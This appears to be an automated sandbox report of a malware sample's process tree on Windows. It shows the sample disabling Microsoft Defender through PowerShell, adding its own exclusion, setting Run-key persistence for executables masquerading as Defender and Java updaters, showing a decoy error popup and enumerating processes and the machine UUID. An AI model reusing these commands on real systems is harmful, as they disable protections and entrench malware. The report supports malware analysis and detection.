mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:5612

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7512

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7636

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
1⤵
PID:7904
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  PID:8120

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:8144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:8164

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:7760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:5368
- - C:\Windows\system32\mshta.exe
    mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
    3⤵
    PID:4784

C:\Windows\system32\timeout.exe
timeout 1
1⤵
PID:960

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:3836

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8160

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:6092

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:8068

C:\Windows\system32\timeout.exe
timeout 1
1⤵
- Delays execution with timeout.exe
PID:4108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:5968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7480

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:7312

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:5284

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
1⤵
PID:1704

C:\Windows\system32\timeout.exe
timeout 5
1⤵
- Delays execution with timeout.exe
PID:7092

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:7604

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2DEC.tmp\2DED.tmp\2DEE.bat C:\Windows\system32\java.exe"
1⤵
PID:6684
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:5112
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:7264
- C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
  2⤵
  PID:5752
- C:\Windows\system32\java.exe
  "C:\Windows\system32\java.exe"
  2⤵
  PID:3492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3A40.tmp\3A41.tmp\3A42.bat C:\Windows\system32\java.exe"
    3⤵
    PID:7000
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      PID:2200
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
      4⤵
      PID:8556
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      Delays execution with timeout.exe
      PID:8668
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  - Delays execution with timeout.exe
  PID:6888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:7448

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8180

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:2704

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
1⤵
PID:7260

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
1⤵
PID:7348

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:7336
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
    3⤵
    PID:4844
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
      4⤵
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:8180

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
1⤵
PID:8100

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:7356
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\336A.tmp\336B.tmp\336C.bat C:\Windows\system32\java.exe"
  2⤵
  PID:8080
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:7212
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
    3⤵
    PID:7476
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
    3⤵
    PID:5880
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
    3⤵
    PID:5888
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:6624
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:8296
- - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
    3⤵
    PID:7352
- - C:\Windows\system32\java.exe
    "C:\Windows\system32\java.exe"
    3⤵
    PID:3448
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3FBE.tmp\3FBF.tmp\3FC0.bat C:\Windows\system32\java.exe"
      4⤵
      PID:8416
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        5⤵
        
        PID:3544
    - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        5⤵
        
        PID:8568
      - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        6⤵
        
        PID:8804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        7⤵
        
        PID:8928
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        8⤵
        
        PID:7804
    - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        5⤵
        
        PID:7056
    - - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        5⤵
        
        PID:8712
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat C:\Windows\system32\java.exe"
        6⤵
        
        PID:8876
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        7⤵
        Delays execution with timeout.exe
        
        PID:9088
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        7⤵
        
        PID:628
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        7⤵
        
        PID:8612
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        7⤵
        
        PID:6924
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        8⤵
        
        PID:9152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        9⤵
        
        PID:7220
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        10⤵
        
        PID:5816
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        7⤵
        
        PID:7768
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        7⤵
        
        PID:7408
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5683.tmp\5684.tmp\5685.bat C:\Windows\system32\java.exe"
        8⤵
        
        PID:8996
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        9⤵
        
        PID:7388
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        9⤵
        
        PID:4164
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        9⤵
        
        PID:6204
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        9⤵
        
        PID:7040
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        9⤵
        
        PID:7360
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        10⤵
        
        PID:8304
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        9⤵
        
        PID:8064
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        9⤵
        
        PID:5760
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\62B8.tmp\62B9.tmp\62BA.bat C:\Windows\system32\java.exe"
        10⤵
        
        PID:7468
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        11⤵
        
        PID:4980
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        11⤵
        
        PID:3408
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        11⤵
        
        PID:9072
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        12⤵
        
        PID:6340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        13⤵
        
        PID:8792
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        11⤵
        
        PID:1720
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        11⤵
        
        PID:8272
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6DC4.tmp\6DC5.tmp\6DC6.bat C:\Windows\system32\java.exe"
        12⤵
        
        PID:8364
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        13⤵
        
        PID:9772
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        14⤵
        
        PID:10140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        15⤵
        
        PID:4580
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        16⤵
        
        PID:9476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        15⤵
        
        PID:9308
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        16⤵
        
        PID:9416
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        13⤵
        
        PID:9780
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        13⤵
        
        PID:9788
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7778.tmp\7779.tmp\777A.bat C:\Windows\system32\java.exe"
        14⤵
        
        PID:10224
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        15⤵
        Delays execution with timeout.exe
        
        PID:9444
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        15⤵
        
        PID:5636
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        15⤵
        
        PID:176
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        15⤵
        
        PID:9940
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        16⤵
        
        PID:6656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        17⤵
        
        PID:5348
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        18⤵
        
        PID:5140
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        15⤵
        
        PID:5056
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        15⤵
        
        PID:9980
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8524.tmp\8525.tmp\8526.bat C:\Windows\system32\java.exe"
        16⤵
        
        PID:9548
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        17⤵
        
        PID:9292
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\91E6.tmp\91E7.tmp\91E8.bat C:\Windows\system32\java.exe"
        18⤵
        
        PID:7792
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        19⤵
        Delays execution with timeout.exe
        
        PID:8888
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        19⤵
        
        PID:4788
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        19⤵
        
        PID:3028
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        19⤵
        
        PID:7392
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        20⤵
        
        PID:4988
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        19⤵
        
        PID:9204
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        19⤵
        
        PID:10080
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9D40.tmp\9D41.tmp\9D42.bat C:\Windows\system32\java.exe"
        20⤵
        
        PID:10380
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        21⤵
        Delays execution with timeout.exe
        
        PID:10852
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        21⤵
        
        PID:3032
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        21⤵
        
        PID:9956
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        21⤵
        
        PID:7064
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        22⤵
        
        PID:4668
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        21⤵
        
        PID:10932
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        21⤵
        
        PID:9288
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\B126.tmp\B127.tmp\B128.bat C:\Windows\system32\java.exe"
        22⤵
        
        PID:3392
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        23⤵
        
        PID:10304
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        23⤵
        
        PID:9896
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        23⤵
        
        PID:1616
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        21⤵
        Delays execution with timeout.exe
        
        PID:10248
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        19⤵
        Delays execution with timeout.exe
        
        PID:10144
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        17⤵
        Delays execution with timeout.exe
        
        PID:9288
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        15⤵
        Delays execution with timeout.exe
        
        PID:5144
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        13⤵
        Delays execution with timeout.exe
        
        PID:9796
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        11⤵
        
        PID:8900
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        9⤵
        
        PID:7444
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        7⤵
        Delays execution with timeout.exe
        
        PID:4840
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Delays execution with timeout.exe
    PID:2944

C:\Windows\system32\timeout.exe
timeout 5
1⤵
- Delays execution with timeout.exe
PID:6132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:7856

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:7264

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:2036

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:4208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:7864

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:8108

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:8948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
  2⤵
  PID:9180
- - C:\Windows\system32\tasklist.exe
    tasklist /FO LIST
    3⤵
    - Enumerates processes with tasklist
    PID:5968

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4423.tmp\4424.tmp\4425.bat C:\Windows\system32\java.exe"
1⤵
PID:9092
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
  2⤵
  PID:8264
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
  2⤵
  PID:5008
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
  2⤵
  PID:7892
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:6804
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:8632
- C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
  2⤵
  PID:6656
- C:\Windows\system32\java.exe
  "C:\Windows\system32\java.exe"
  2⤵
  PID:1384
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\50E5.tmp\50E6.tmp\50E7.bat C:\Windows\system32\java.exe"
    3⤵
    PID:8760
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:7692
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:8608
    - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        5⤵
        
        PID:8428
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        6⤵
        
        PID:8580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:260
  - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
      4⤵
      PID:1736
  - - C:\Windows\system32\java.exe
      "C:\Windows\system32\java.exe"
      4⤵
      PID:2852
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5CFB.tmp\5CFC.tmp\5CFD.bat C:\Windows\system32\java.exe"
        5⤵
        
        PID:7876
      - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        6⤵
        
        PID:8492
        
        C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        7⤵
        
        PID:8372
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        
        PID:8312
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:8680
      - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        6⤵
        
        PID:7556
      - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        6⤵
        
        PID:6428
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\675B.tmp\675C.tmp\675D.bat C:\Windows\system32\java.exe"
        7⤵
        
        PID:7156
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        8⤵
        
        PID:1824
        
        C:\Windows\system32\reg.exe
        
